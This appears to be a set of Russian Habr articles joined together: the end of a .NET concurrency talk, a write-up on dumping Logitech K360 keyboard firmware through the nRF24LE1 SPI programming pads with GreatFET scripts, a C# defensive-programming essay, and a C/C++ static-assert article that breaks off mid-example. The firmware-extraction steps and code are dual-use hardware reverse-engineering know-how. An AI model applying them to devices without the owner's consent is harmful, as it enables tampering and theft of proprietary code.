Как он работает? Есть некоторый ключ, и хэш-код от него равен 2. Мы берём хэш-код по модулю Capacity нашей коллекции, чтобы можно было и дальше использовать его как индекс в этом массиве. У нас хэш — 2. Мы хотим найти элемент с таким хэшом, с определённым ключом. Посмотрим на ячейку с индексом 2. Там есть этот элемент? Если есть, то значит, что мы его уже нашли, его и вернём. Если там оказался какой-то другой элемент, то мы идём в следующую ячейку по счёту, а именно в ячейку с индексом 3. Смотрим, есть ли там элемент, если нет, то идём в четвёртую, в нулевую, в первую.
Порядок обхода, который используется в Hashtable, не последовательный. Он более сложный, там используется так называемый double hashing. Он отличается от последовательного тем, что в качестве шага взята не единица, а другое число, которое вычисляется с использованием хэша.
Если размер шага, с которым мы идём по массиву, и размер этого массива — взаимно простые числа, то при обходе массива мы пройдём все его элементы ровно один раз. Это и используется в Hashtable. Там сделано так, что размер массива — это всегда простое число — любое число подходит в качестве размера шага. Мы начинаем идти с произвольной ячейки и дальше в неё же по циклу по массиву и приходим. Таким образом, у нас нет никаких bucket'ов, нам никуда не перескочить или прочитать что-то не то, у нас эти ссылки не могут поломаться. Становится лучше.
Здесь уже реализовали почти всё, что хотели, осталось реализовать lock-free перечисление и избежать попадания в LOH.
Как сделать lock-free перечисления? На MSDN в документации про Hashtable сказано, что на перечисление он не потокобезопасен. Проблема возникает с тем, что в силу особенностей структуры данных могут повторяться элементы с одинаковыми ключами, в случае если они были удалены и добавлены заново во время перечисления.
Если мы хотим избежать подобного поведения, то можем использовать чистое чтение, но не для отдельных элементов в нашей коллекции, а для bucket'ов. Можно положить в основу нашей коллекции идеи обычного Dictionary с bucket'ами, обычную хэш-таблицу, но эти bucket'ы всегда зачитывать целиком с чистым чтением. То есть если кто-то успел записать в bucket, то bucket придётся перечитать. Так как записи не такие частые, то это не очень критично.
Мы хотим, чтобы наша структура не попадала в Large Object Heap.
Для этого мы можем её расшардить. Заменим CustomDictionary на CustomDictionarySegment и поверх сделаем обёртку. Есть наш Dictionary, состоящий из нескольких сегментов, в которых элементы распределены по хэшу. Каждый сегмент — это тот Dictionary, о котором мы говорили до этого. В каждом из этих сегментов массив маленький, и он не попадает в Large Object Heap. Так как сами по себе эти массивы маленькие, то и bucket'ы в них маленькие. Соответственно, мы можем позволить себе такую роскошь, как их чистое чтение, перечитать целый bucket, если вдруг в него кто-то что-то записал.
Как развитие этой идеи мы можем сделать блокировки на наши сегменты. В итоге получится почти тот самый ConcurrentDictionary, который и есть в .NET, но с более ограниченной применимостью для конкретных сценариев, где не нужны все фичи обычного.
### 4.7 Выводы
* .NET не идеален
* Ничто не идеально
* Проводите тестирование
* Знайте, как работают стандартные классы
* Изобретайте велосипеды
* Тестируйте велосипеды
Какие из всего этого выводы? .NET не идеален. Ничто не идеально. Все те структуры, которые есть в стандартной библиотеке, служат для работы в наибольшем количестве сценариев. Есть у вас какой-то свой сценарий — вам нужно что-то другое. Когда пишете код, проведите тестирование, убедитесь, подходит ли вам стандартное решение.
Если что-то идёт не так, изучите, как оно работает, что находится внутри стандартного класса, который вы используете. Если вы изучили, как оно работает, и не поняли, что именно вам надо поменять в своём коде, возможно, вам нужно пойти на некоторый внутренний конфликт и изобрести велосипед. Изобрели велосипед — протестируйте свой велосипед, убедитесь, что он работает.
### Полезные ссылки
* Интересные сюрпризы ConcurrentDictionary: <https://habr.com/ru/company/skbkontur/blog/348508/>
* <https://github.com/vostok/commons.threading>
* <https://github.com/epeshk/dotnext-2019-threading>
Первая ссылка — на статью моего коллеги Ильи Локтионова про некоторые подвохи ConcurrentDictionary. Кстати, надо сказать спасибо команде инфраструктуры Контура, Илье Локтионову ([Diafilm](https://habr.com/ru/users/diafilm/)), без них этот доклад бы не состоялся.
Также приведу здесь ссылки на GitHub. Вторая ссылка — это ссылка на нашу библиотеку, которая лежит в опенсорсе, содержит в себе LIFO-Semaphore, о котором было рассказано. Третья ссылка на репозиторий с примерами кода, которые были в докладе.
> 6-7 ноября я выступлю на **DotNext 2019 Moscow** с докладом [«.NET: Лечение зависимостей»](https://dotnext-moscow.ru/2019/msk/talks/4tklbyr4gczmhx9hxlepb7/?utm_source=habr&utm_medium=468611&utm_campaign=dotnext19msk) и расскажу про случаи, когда возникают ошибки с подключаемыми библиотеками на .NET Framework и .NET Core, и объясню, какие можно использовать подходы к решению этих проблем. | https://habr.com/ru/post/468611/ | null | ru | null |
# Дамп прошивки беспроводной Logitech K360 с помощью GreatFET
[](https://habr.com/ru/company/ruvds/blog/561178/)
Недавно чисто ради спортивного интереса я решил хакнуть клавиатуру, и в качестве первой подопытной выбрал самую дешевую беспроводную модель Logitech K360. Она уже несколько устарела, а ее основная микросхема также, как и используемый протокол беспроводной связи, ранее подробно разбирались. Можете посмотреть [презентацию Mousejack](https://youtu.be/00A36VABIA4) Марка Ньюлина, почитать [работу Трэвиса Гудспида по сниффингу nRF24](http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html), а также ознакомиться с упоминаемой в этих материалах [разработкой KeyKeriki](http://www.remote-exploit.org/articles/keykeriki_v2_0__8211_2_4ghz/index.html).
Я же занялся всем этим больше в качестве тренировки нежели нового исследования и никак не знал, что в итоге обнаружу. Тем не менее мне показалось, что подобная затея станет интересным небольшим примером извлечения из встроенной флэш-памяти голой прошивки.
Разборка и первый осмотр
------------------------
Реверс-инжиниринг клавиатуры я начинаю с аппаратной части, поэтому первым шагом будет извлечение прошивки. После снятия с передней панели приклеивающейся пластины разборка клавиатуры сложностей не представляет, так как остается лишь выкрутить скрепляющие корпус шурупы. Внутри находится матрица клавиш с резиновым куполом, а также небольшая плата с несколькими компонентами. Из основного на ней распложен только чип nRF24LE1:
*Лицевая сторона платы*
*Обратная сторона платы*
Слева от микросхемы расположено шесть контактных площадок для тестирования. Я решил, что это удачный интерфейс и начал с их проверки при помощи логического анализатора и щупов прижимных контактов. TP8 отправлял короткий такт при загрузке, а TP4 являлся землей, но пассивное «прощупывание» не выявляло здесь никакой интересной активности. Тут мне стало ясно, что группа из шести слов справа от микросхемы как раз описывала эти контактные площадки, так как их порядок размещения соответствовал.
Подключение к GreatFET и пробное тестирование
---------------------------------------------
Чтобы прозондировать интерфейс SPI активно я подключил эти площадки к гребенке с помощью эмальпровода, а с ними и контакты TP5 и TP7. Согласно спецификации nRF24LE1, TP7 ведет к контакту PROG, используемому для “активации программирования флэш-памяти», а TP5 к RESET (подписан сразу рядом с TP5). Reset в данном случае активируется сигналом низкого уровня.
*Схема распиновки nRF24LE1*
Контактные площадки с 10 по 13 я трогать не стал, потому что они идут к общим контактам ввода/вывода и расположены на дорожках, ведущих к матрице клавиш.
*Провода SPI*
Я подключил площадки SPI к SPI-контактам на GreatFET, GND к одному из контактов земли и привязал контакт ввода/вывода к площадке RESET. При этом я также задействовал на GreatFET контакт 3V3 для прямой подачи питания к микросхеме nRF24 через площадку VMCU.
```
gf = GreatFET()
reset_pin = gf.gpio.get_pin('J1_P4')
reset_pin.high()
```
Далее я попробовал отправить простые тестовые команды при помощи встроенного кода SPI, но в таком состоянии в ответ ничего не получил:
```
In [6]: gf.spi.transmit([0x05], receive_length=1)
Out[6]: b'\xff'
In [7]: gf.spi.transmit([0x03, 0x00, 0x00], receive_length=4)
Out[7]: b'\xff\xff\xff\xff'
```
Тогда я вновь обратился к спецификации и выяснил, что шина SPI для программирования флэш-памяти, активируемая контактом PROG, имеет собственный набор выделенных контактов. Эти контакты не совпадали с площадками для тестирования, к которым я подпаялся, поэтому было решено проверить, не ведут ли они к другим площадкам.
В этом мне помог мультиметр, но вы также можете проследить дорожки на фото самой платы. К счастью, оказалось, что к этим контактам (P1.2, P1.5, P1.6 и P2.0) ведут те самые оставленные мной изначально TP10-TP13. Так как потребовалось задействовать всего четыре новых площадки, я не стал паять, а снова использовал щупы PCBite.
*Проверка интерфейса флэш-программирования*
Для активации SPI нужно удерживать контакт PROG на высоком уровне и сбросить устройство подачей на RESET сигнала низкого уровня. Я настроил отдельный контакт ввода/вывода GreatFET для PROG, а затем добавил в скрипт функцию для отправки на RESET сигнала низкого уровня.
```
#!/usr/bin/env python3
import hexdump
import time
from greatfet import GreatFET
def reset(gf, reset_pin):
reset_pin.low()
time.sleep(0.001)
reset_pin.high()
time.sleep(0.001)
def main():
gf = GreatFET()
reset_pin = gf.gpio.get_pin('J1_P4')
prog_pin = gf.gpio.get_pin('J1_P6')
# Reset is active low
reset_pin.high()
# Enter prog mode
prog_pin.high()
time.sleep(0.01)
reset(gf, reset_pin)
# ...
if __name__ == '__main__':
main()
```
После сброса устройства я попробовал отправить одну из SPI-команд для получения статуса флэш-памяти и регистров состояния ее защиты, а также выполнить тестовое считывание.
```
fsr = ord(gf.spi.transmit([0x05], receive_length=1))
fpcr = ord(gf.spi.transmit([0x89], receive_length=1))
print(f'flash status register: {fsr:#02x}')
print(f'flash protect register: {fpcr:#02x}')
# test read
print('test read:')
data = gf.spi.transmit([0x03, 0x00, 0x00], receive_length=256)
hexdump.hexdump(data)
```
Но и теперь я по-прежнему не получал никакого ответа (лишь все ту же последовательность байтов `0xFF`). В итоге, вооружившись осциллографом, я взялся проверять работоспособность всех контактов. С помощью простого скрипта для GreatFET я продолжал сбрасывать устройство и проверял осциллографом контакт RESET, возвращающийся на высокий уровень, чтобы увидеть состояние сигнала Reset на щупе после загрузки.
Помимо проверки контактов RESET и PROG я сделал простой замер потребления питания с помощью шунтирующего резистора, чтобы понять, выполняет ли устройство вообще сброс. Обратите внимание на разницу в энергопотреблении, когда устройство успешно входит в режим PROG:
*Сброс при низком уровне PROG*
*Сброс при высоком уровне PROG*
Один из щупов SPI, возможно, был отключен, но когда осциллограф показал, что все в порядке, я повторил процесс и на этот раз смог считать из памяти уже вразумительные данные:
```
$ ./test.py
flash status register: 0x80
flash protect register: 0x0
test read:
00000000: 80 A3 A3 02 00 03 78 FF E4 F6 D8 FD 90 00 00 7F ......x.........
00000010: 00 7E 04 E4 F0 A3 DF FC DE FA 75 81 7E 02 07 82 .~........u.~...
00000020: FC 00 FF D9 00 11 01 FF E0 FF E0 00 01 02 FF E1 ................
00000030: FF E1 00 01 02 FF E2 FF E6 00 01 02 FF E7 FF EB ................
00000040: 00 01 02 FF EC FF EF 00 04 02 FF F0 FF FF 00 01 ................
00000050: 00 57 69 72 65 6C 65 73 73 20 4B 65 79 62 6F 61 .Wireless Keyboa
00000060: 72 64 20 00 34 D9 1D F0 40 01 00 00 00 61 02 20 rd .4...@....a.
...
```
Обратите внимание на строку с `Wireless keyboard`. Затем я выполнил одно считывание 18432 байтов – допустимый максимум, если верить спецификации. На выводе получился толковый дамп флэш-памяти программы. В nRF24LE1 используется набор инструкций от 8051, поэтому для подтверждения, что это код, я загрузил его в Ghidra в виде BLOB-объекта 8051. В начале объекта находится подпрограмма инициализации, значит это действительно код.
*Тестовое дизассемблирование в Ghidra*
Чтобы проверить настройки активации аппаратной отладки и защиты от эхосчитывания флэш-памяти я также решил считать упомянутую в спецификации InfoPage:
*Раздел InfoPage спецификации nRF24LE1*
Для считывания InfoPage необходимо установить бит `INFEN` в регистре состояния флэш-памяти, для чего достаточно было отправить перед считыванием команду `write flash status register`:
```
def read_fsr(gf):
fsr = gf.spi.transmit([0x05], receive_length=1)
return ord(fsr)
def write_fsr(gf, fsr):
fsr &= 0xff
gf.spi.transmit([0x01, fsr])
def read_flash(gf, address, count):
command = struct.pack('>BH', 0x03, address)
data = gf.spi.transmit(command, receive_length=count)
return data
def get_infoblock(gf):
flash_stat_reg = read_fsr(gf)
# INFEN is bit 3 (2^3)
write_fsr(gf, flash_stat_reg | 8)
time.sleep(0.001)
infoblock = read_flash(gf, 0, 512)
# Unset INFEN bit
write_fsr(gf, flash_stat_reg & (~8 & 0xff))
return infoblock
```
Теперь я могу считывать InfoPage, чтобы проверять установку аппаратной отладки и защиты от эхосчитывания. Возвращение программных данных в ходе изначальных попыток чтения уже указывало на то, что защита от эхосчитывания отключена, но выполнение описанных шагов помогло мне убедиться в правильности использования интерфейса программирования. Думаю, что также будет нелишним сделать бэкап InfoPage на случай, если позднее я сотру флэш-память.
При этом в код достаточно внести всего несколько простых изменений и его можно будет использовать для дампирования памяти программы и/или InfoPage в файлы:
```
$ ./k360_spi.py --dump flashdump.bin
flash status register: 0x80
flash protect register: 0x0
InfoBlock content:
00000000: 00 A3 A3 48 31 57 54 79 70 14 0A 12 FF FF 98 04 ...H1WTyp.......
00000010: 79 7C 88 23 B1 50 0F 05 FF FF FF FF 82 79 FF FF y|.#.P.......y..
00000020: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00000030: FF FF FF 4C 45 31 4F FF FF FF FF FF FF FF FF FF ...LE1O.........
...
000001F0: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
Flash readback protection: False (ff)
HW debug enabled: False (ff)
wrote flash dump to flashdump.bin
```
Весь исходный код для `k360_spi.py` находится здесь: <https://gist.github.com/jamchamb/b2892a22ac0760346d4d617fedf9b541>. Следующим шагом будет анализ прошивки.
[](https://ruvds.com/news/read/142?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=damp_proshivki_besprovodnoj_logitech_k360_s_pomoshhyu_greatfet)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=damp_proshivki_besprovodnoj_logitech_k360_s_pomoshhyu_greatfet) | https://habr.com/ru/post/561178/ | null | ru | null |
# Защитное программирование
Один из моих читателей, Барри Гайлз, недавно написал мне и задал достаточно интересный вопрос, который, по моему мнению, достоен обсуждения:
> «Недавно я столкнулся с одной интересной ситуацией на работе: я производил ревью кода и вставил защитные проверки – одну для проверки аргумента конструктора на null, одну для проверки на null значения, возвращаемого из свойства. У меня также имелись утверждения для закрытых методов, которые я использовал для того, чтобы явно указать мои предположения.
>
> «Похоже, что преобладающей практикой среди моих коллег по команде является опускание проверок и допущение падений. Если быть честным, я борюсь с этой концепцией, так как я уже привык разрабатывать посредством защитного программирования и считал это хорошей практикой. Я практически уверен, что дело обстоит так же в большей части руководств и записей в блогах.
>
> «Вы не могли бы дать совет относительно того, почему лучше программировать в защитном стиле, вместо того, чтобы позволить коду провалиться и затем проверять трассировку стека?»
Вообще говоря, я не думаю, что защитное программирование *хуже* или *лучше* другого подхода. Как обычно, на решение проблемы влияют различные факторы, так что краткий ответ будет таков: *всё зависит от обстоятельств.*
Такой ответ, безусловно, бесполезен до тех пор, пока мы не можем ответить на вопрос: *от каких обстоятельств проистекает эта зависимость?* В данной статье, я рассмотрю некоторые факторы. Однако, я не собираюсь заявить, что эта статья явиться всеобъемлющим изложением темы.
##### Позволение коду упасть.
Какова ценность защитного программирования, если всё что вы собираетесь сделать – это немедленно выбросить исключение? Не будет ли таким же хорошим решением просто дать коду упасть? Давайте рассмотрим пример кода.
```
public class ProductDetailsController {
private readonly IUserRepository userRepository;
private readonly IProductRepository productRepository;
private readonly ICurrencyExchange exchange;
public ProductDetailsController(
IUserRepository userRepository,
IProductRepository productRepository,
ICurrencyExchange exchange) {
this.userRepository = userRepository;
this.productRepository = productRepository;
this.exchange = exchange;
}
public ProductDetailsViewModel GetProductDetails(string userId, string productId) {
var user = this.userRepository.Get(userId);
var targetCurrency = user.PreferredCurrency;
var product = this.productRepository.Get(productId);
var convertedPrice =
this.exchange.Convert(product.UnitPrice, targetCurrency);
return new ProductDetailsViewModel {
Name = product.Name,
Price = convertedPrice.ToString()
};
}
}
```
В этом простом классе `ProductDetailsController`, метод `GetProductDetails` создаёт экземпляр `ProductDetailsViewModel`, получая пользователя и информацию о продукте через инъекции репозиториев, конвертируя цену продукта в предпочитаемую пользователем валюту и возвращая данные о продукте, которые предполагается в дальнейшем отобразить на экране. Ради достижения цели статьи, давайте сконцентрируемся только на проблемах проверки на `null`. Как много вызовов могут пойти по провальному сценарию в методе `GetProductDetails`? Как много объектов могут быть нулевыми ссылками?
Довольно много, как выясняется. Даже отделённый от своих зависимостей, этот небольшой кусочек кода может выбросить `NullReferenceException`, как минимум в шести случаях. Представьте, что вы получаете отчёт об ошибках с вашей системы, находящейся в эксплуатации. Трассировка стека указывает на метод `GetProductDetails` и типом выброшенного исключения является `NullReferenceException`. Какой из шести возможных объектов с нулевой ссылкой стал причиной ошибки?
Давая системе просто упасть, нам будет трудно ответить на этот вопрос. И не забывайте, что это всего лишь учебный пример. Большая часть эксплуатируемого кода, который я встречал, имел более 5 или 6 строк кода, так что, выяснение причины возникшей ошибки может быстро стать чем-то вроде поиска иголки в стоге сена.
Просто позволить коду упасть – это не очень полезно. Очевидно, если вы пишете очень короткие методы (практика, которую я строго рекомендую), возникающая проблема не так насущна, но чем ваши методы длиннее, тем менее профессионально, на мой взгляд, выражение «просто позволить коду упасть» звучит.
##### Защитное программирование во спасение?
Посредством добавления явных сторожков на `null`, вы сможете выбросить более описательные сообщения об ошибке:
```
public class ProductDetailsController {
private readonly IUserRepository userRepository;
private readonly IProductRepository productRepository;
private readonly ICurrencyExchange exchange;
public ProductDetailsController(
IUserRepository userRepository,
IProductRepository productRepository,
ICurrencyExchange exchange) {
if (userRepository == null)
throw new ArgumentNullException("userRepository");
if (productRepository == null)
throw new ArgumentNullException("productRepository");
if (exchange == null)
throw new ArgumentNullException("exchange");
this.userRepository = userRepository;
this.productRepository = productRepository;
this.exchange = exchange;
}
public ProductDetailsViewModel GetProductDetails(
string userId,
string productId) {
var user = this.userRepository.Get(userId);
if (user == null)
throw new InvalidOperationException("User was null.");
var targetCurrency = user.PreferredCurrency;
var product = this.productRepository.Get(productId);
if (product == null)
throw new InvalidOperationException("Product was null.");
var convertedPrice =
this.exchange.Convert(product.UnitPrice, targetCurrency);
if (convertedPrice == null)
throw new InvalidOperationException("Converted price was null.");
return new ProductDetailsViewModel {
Name = product.Name,
Price = convertedPrice.ToString()
};
}
}
```
Лучше ли этот код? С точки зрения анализа причин возникновения ошибок – да. В этой версии кода, если вы получаете сообщение об ошибке из вашей эксплуатируемой системы, сообщение в исключении подскажет с какой из шести возможных ситуаций с `null`-ссылкой столкнулась ваша программа. Если бы я находился в режиме поддержки, то я бы знал какую версию из представленных двух я бы предпочёл.
Однако, с точки зрения читаемости, всё сильно ухудшилось. Метод `GetProductDetails` удлиннился с пяти до одиннадцати строчек кода. Защитное программирование более чем удвоило количество строк! Проход по телу метода тонет в защитных конструкциях, таким образом, метод стал читаться хуже. Если вы типичный программист, то вы читаете код значительно больше, чем пишете его, так что практика, которая делает ваш код более трудночитаемым, должна вызвать в вас ощущение запашка. Нет сомнений в том, что многие программисты считают защитное программирование плохой практикой.
##### Устойчивость.
Возможно ли сбалансировать факторы, влияющие на проблему и её решение? Да, возможно, но для того, чтобы понять как, вы должны понимать корневую причину проблемы. Первоначальный пример кода не особенно сложен, но даже несмотря на это, присутствует множество случаев, когда этот код провалиться. Что касается нулевых ссылок, то причиной является [ошибка в дизайне языка](http://en.wikipedia.org/wiki/Tony_Hoare#Quotations), но в целом, вопрос заключается в том, можете ли вы доверять входным данным или нет. Возвращаемые значения через вызов `IUserRepository.Get` это [(косвенно) тоже входные данные.](http://xunitpatterns.com/indirect%20input.html)
В зависимости от того в какой среде функционирует ваша программа, у вас либо есть возможность доверять входным данным, либо у вас такой возможности нет. Представим, на минуту, ситуацию, при которой ваше ПО эксплуатируется в [«дикой местности»](http://blog.ploeh.dk/2012/12/18/RangersandZookeepers/). Вашим ПО может быть повторно используемая библиотека или фреймворк. В таком случае, вы вообще не можете доверять входным данным. Если это так, то, возможно, вы захотите применить [принцип устойчивости](http://en.wikipedia.org/wiki/Robustness_principle) и оставаться убеждённым в том, что вы действуете в защитном стиле не только относительно входных, но и выходных данных. Другими словами, вы не хотите передавать нулевые ссылки (или другие дьявольские значения) и другому взаимодействующему коду.
Пример кода, приведённый ранее, может передавать нулевые ссылки своим зависимостям, например, если `userId = null,` или (более изощрённо), если `user.PreferredCurrency = null.` Таким образом, следуя принципу устойчивости, вы должны были бы добавить ещё больше защитных выражений:
```
public class ProductDetailsController {
private readonly IUserRepository userRepository;
private readonly IProductRepository productRepository;
private readonly ICurrencyExchange exchange;
public ProductDetailsController(
IUserRepository userRepository,
IProductRepository productRepository,
ICurrencyExchange exchange) {
if (userRepository == null)
throw new ArgumentNullException("userRepository");
if (productRepository == null)
throw new ArgumentNullException("productRepository");
if (exchange == null)
throw new ArgumentNullException("exchange");
this.userRepository = userRepository;
this.productRepository = productRepository;
this.exchange = exchange;
}
public ProductDetailsViewModel GetProductDetails(
string userId,
string productId) {
if (userId == null)
throw new ArgumentNullException("userId");
if (productId == null)
throw new ArgumentNullException("productId");
var user = this.userRepository.Get(userId);
if (user == null)
throw new InvalidOperationException("User was null.");
if (user.PreferredCurrency == null)
throw new InvalidOperationException("Preferred currency was null.");
var targetCurrency = user.PreferredCurrency;
var product = this.productRepository.Get(productId);
if (product == null)
throw new InvalidOperationException("Product was null.");
if (product.Name == null)
throw new InvalidOperationException("Product name was null.");
if (product.UnitPrice == null)
throw new InvalidOperationException("Unit price was null.");
var convertedPrice =
this.exchange.Convert(product.UnitPrice, targetCurrency);
if (convertedPrice == null)
throw new InvalidOperationException("Converted price was null.");
return new ProductDetailsViewModel {
Name = product.Name,
Price = convertedPrice.ToString()
};
}
}
```
Это, очевидно, выглядит ещё более ужасным, чем предыдущий пример с использованием защитного стиля. Теперь вы защищаете не только себя, но и взаимодействующий код. Похвально, но абсолютно нечитаемо.
До сих пор, когда я пишу код, который живёт в «дикой местности», такое защитное программирование – это именно то, что я делаю, хотя я всё равно склоняюсь к тому, чтобы провести рефакторинг таким образом, что, сначала я бы собрал и проверил все входные данные и уже затем я бы передал эти данные в другой класс, который осуществляет всю логику.
##### Защищённая местность.
Что если ваш код живёт в [защищённой местности](http://blog.ploeh.dk/2012/12/18/RangersandZookeepers/)? Что если ваш код работает в среде, весь взаимодействующий код является частью одной и той же кодовой базы, написанной вами и вашими коллегами? Если вы можете доверять друг другу, следуя определённым последовательным правилам, вы можете опустить большую часть защитных конструкций.
В большей части команд, в которых я работал, я всегда предполагал, что мы используем принцип устойчивости. На практике, это означает, что `null` никогда не является допустимым возвращаемым значением. Если член класса возвращает `null`, то баг находится в этом классе, не в потребителе этого класса. С учётом следования этому правилу, предыдущий код может быть сокращён до такого:
```
public class ProductDetailsController {
private readonly IUserRepository userRepository;
private readonly IProductRepository productRepository;
private readonly ICurrencyExchange exchange;
public ProductDetailsController(
IUserRepository userRepository,
IProductRepository productRepository,
ICurrencyExchange exchange)
{
if (userRepository == null)
throw new ArgumentNullException("userRepository");
if (productRepository == null)
throw new ArgumentNullException("productRepository");
if (exchange == null)
throw new ArgumentNullException("exchange");
this.userRepository = userRepository;
this.productRepository = productRepository;
this.exchange = exchange;
}
public ProductDetailsViewModel GetProductDetails(
string userId,
string productId)
{
if (userId == null)
throw new ArgumentNullException("userId");
if (productId == null)
throw new ArgumentNullException("productId");
var user = this.userRepository.Get(userId);
if (user.PreferredCurrency == null)
throw new InvalidOperationException("Preferred currency was null.");
var targetCurrency = user.PreferredCurrency;
var product = this.productRepository.Get(productId);
if (product.Name == null)
throw new InvalidOperationException("Product name was null.");
if (product.UnitPrice == null)
throw new InvalidOperationException("Unit price was null.");
var convertedPrice =
this.exchange.Convert(product.UnitPrice, targetCurrency);
return new ProductDetailsViewModel
{
Name = product.Name,
Price = convertedPrice.ToString()
};
}
}
```
Так-то лучше, но ещё не достаточно хорошо… но, подождите: свойства для чтения это тоже возвращемые значения, так что мы и их можем не проверять:
```
public class ProductDetailsController
{
private readonly IUserRepository userRepository;
private readonly IProductRepository productRepository;
private readonly ICurrencyExchange exchange;
public ProductDetailsController(
IUserRepository userRepository,
IProductRepository productRepository,
ICurrencyExchange exchange)
{
if (userRepository == null)
throw new ArgumentNullException("userRepository");
if (productRepository == null)
throw new ArgumentNullException("productRepository");
if (exchange == null)
throw new ArgumentNullException("exchange");
this.userRepository = userRepository;
this.productRepository = productRepository;
this.exchange = exchange;
}
public ProductDetailsViewModel GetProductDetails(
string userId,
string productId)
{
if (userId == null)
throw new ArgumentNullException("userId");
if (productId == null)
throw new ArgumentNullException("productId");
var user = this.userRepository.Get(userId);
var targetCurrency = user.PreferredCurrency;
var product = this.productRepository.Get(productId);
var convertedPrice =
this.exchange.Convert(product.UnitPrice, targetCurrency);
return new ProductDetailsViewModel
{
Name = product.Name,
Price = convertedPrice.ToString()
};
}
}
```
Вот теперь достаточно хорошо, поскольку теперь мы почти вернулись в исходное состояние кода. Единственной разницей является наличие [сторожка](http://c2.com/cgi/wiki?GuardClause) в самом начале каждого члена. Когда следуешь принципу устойчивости, большая часть членов начинает выглядеть примерно также. Немного спустя, после того как привыкнете, вы их перестаёте замечать. Я считаю их некой преамбулой для каждого члена. Как читатель кода, вы можете проскакивать сторожки и концентрироваться на потоке логики, без прерывающих вас защитных проверок, мешающих чтению кода.
##### Инкапсуляция.
Если возвращение `null`-ссылки является ошибкой, то каким тогда образом класс `User`, или класс `Product`, могут следовать принципу устойчивости? Тем же самым путём:
```
public class User
{
private string preferredCurrency;
public User()
{
this.preferredCurrency = "DKK";
}
public string PreferredCurrency
{
get { return this.preferredCurrency; }
set
{
if (value == null)
throw new ArgumentNullException("value");
this.preferredCurrency = value;
}
}
}
```
Заметьте, как класс `User` [защищает свои инварианты](http://blog.ploeh.dk/2011/05/26/CodeSmellAutomaticProperty/). Свойство `PreferredCurrency` никогда не может быть `null`. Этот принцип также известен под другим названием: [инкапсуляция](http://blog.ploeh.dk/2011/05/24/Poka-yokeDesignFromSmelltoFragrance/).
##### Заключение.
Как всегда, помогает понимание факторов, лежащих в основе проблемы или понимание вашей кодовой базы. Вам следует писать значительно больше защитных конструкций в случае, если ваш код живёт в «дикой местности», чем тогда, когда он живёт в защищённой среде. По сей день, я считаю заблуждением веру в то, что вы можете обойтись написанием неряшливого кода; мы все должны быть [программистами-рэйнджерами.](http://blog.ploeh.dk/2012/12/18/ZookeepersmustbecomeRangers/)
Бесструктурный защитный код вредит читаемости. Защитный код – это всего лишь ещё одна отговорка для написания спагетти-кода. Напротив, структурированное защитное программирование являет собой инкапсуляцию. Я знаю, что мне предпочесть. | https://habr.com/ru/post/191548/ | null | ru | null |
# Compile-time проверка в C/C++
C/C++ позволяют выполнить проверки константных выражений ещё на этапе компиляции программы. Это дешёвый способ избежать проблем при модификации кода в будущем.
Я рассмотрю работу с:
* перечислениями (enum),
* массивами (их синхронизацию с enum),
* switch-конструкциями,
* а так же работу с классами, содержащими разнородные данные.
#### BOOST\_STATIC\_ASSERT и все-все-все
Существуют [много способов](http://stackoverflow.com/questions/1980012/boost-static-assert-without-boost) сломать компилятор во время компиляции. Из них мне больше всего нравится такое исполнение:
```
#define ASSERT(cond) typedef int foo[(cond) ? 1 : -1]
```
Но если у вас в программе используется boost, то ничего изобретать не нужно: [BOOST\_STATIC\_ASSERT](http://www.boost.org/doc/libs/1_48_0/doc/html/boost_staticassert.html). Также поддержка [обещает быть](http://ru.wikipedia.org/wiki/C%2B%2B11) в С++11 (static\_assert).
С инструментом разобрались, теперь об использовании.
#### Контроль количества элементов в enum
Перечисления — набор связанных по смыслу констант, которые, как правило, используются в точке ветвления логики программы. Точек ветвления обычно несколько, и можно легко что-нибудь пропустить.
Пример:
```
enum TEncryptMode {
EM_None = 0,
EM_AES128,
EM_AES256,
**EM\_ItemsCount**
};
```
Последний элемент — не алгоритм, а вспомогательная константа с номером на единицу большим, чем максимальный смысловой элемент.
Теперь везде, где используются константы из этого набора, нужно просто добавить проверку:
```
ASSERT(EM_ItemsCount == 3);
```
Если в будущем добавятся новые константы, код в этом месте перестанет компилироваться. Значит, автор изменений должен будет просмотреть этот участок кода и, при необходимости, учесть новую константу.
В качестве бонуса от введения EM\_ItemsCount появляется возможность вставлять runtime-проверки параметров функции:
```
assert( 0 <= mode && mode < EM_ItemsCount );
```
Сравните с вариантом без такой константы:
```
assert( 0 <= mode && mode <= EM_AES256 );
```
(добавляем EM\_AES512 и получает неправильную проверку)
#### Массивы и enum
Частный случай проверки из предыдущего раздела.
Предположим, у нас есть массив с параметрами к тем же алгоритмам шифрования (пример немного высосан из пальца, но в жизни встречаются похожие случаи):
```
static const ParamStruct params[] = {
{ EM_None, 0, ... },
{ EM_AES128, 128, ... },
{ EM_AES256, 256, ... },
{ -1, 0, ... }
};
```
Требуется поддерживать эту структуру синхронной с TEncryptMode.
(Зачем нужен последний элемент массива, думаю, объяснять не нужно.)
Нам понадобится вспомогательный макрос для вычисления длины массива:
```
#define lengthof(x) (sizeof(x) / sizeof((x)[0]))
```
Теперь, можно записать проверку (лучше, если сразу за определением params):
```
ASSERT( lengthof(params) == EM_ItemsCount + 1 );
```
**upd:** В [комментариях](http://habrahabr.ru/blogs/cpp/138813/#comment_4637118) хабраюзер [skor](http://habrahabr.ru/users/skor/) предложил более безопасный вариант макроса lengthof, за что ему спасибо.
#### switch
Тут всё очевидно (после примеров выше). Перед switch(mode) добавляем:
```
ASSERT(EM_ItemsCount == 3);
```
Чуть менее очевидная runtime-проверка:
```
ASSERT(EM_ItemsCount == 3);
switch( mode ) {
case ...: ... break;
...
**default:
assert( false );**
}
```
Дополнительный бастион для обороны от ошибок. Если действия обрабатываются одинаково, лучше перечислить несколько case-условий для одного действия, оставив default не занятым:
```
...
case ET_AES128:
case ET_AES256:
...
break;
...
```
#### Классы с разнородными данными
Отвлечёмся от enum'ов и посмотрим на такой класс:
```
class MyData {
...
private:
int a;
double b;
...
};
```
Очень может быть, что когда-то в будущем кто-то захочет добавить в него переменную int c. Класс к этому времени стал большим и сложным. Как найти точки, в которые нужно прописать переменную c?
Предлагается такой полуавтоматический способ решения — заводим в классе константу версии данных:
```
class MyData {
static const int DataVersion = 0;
...
};
```
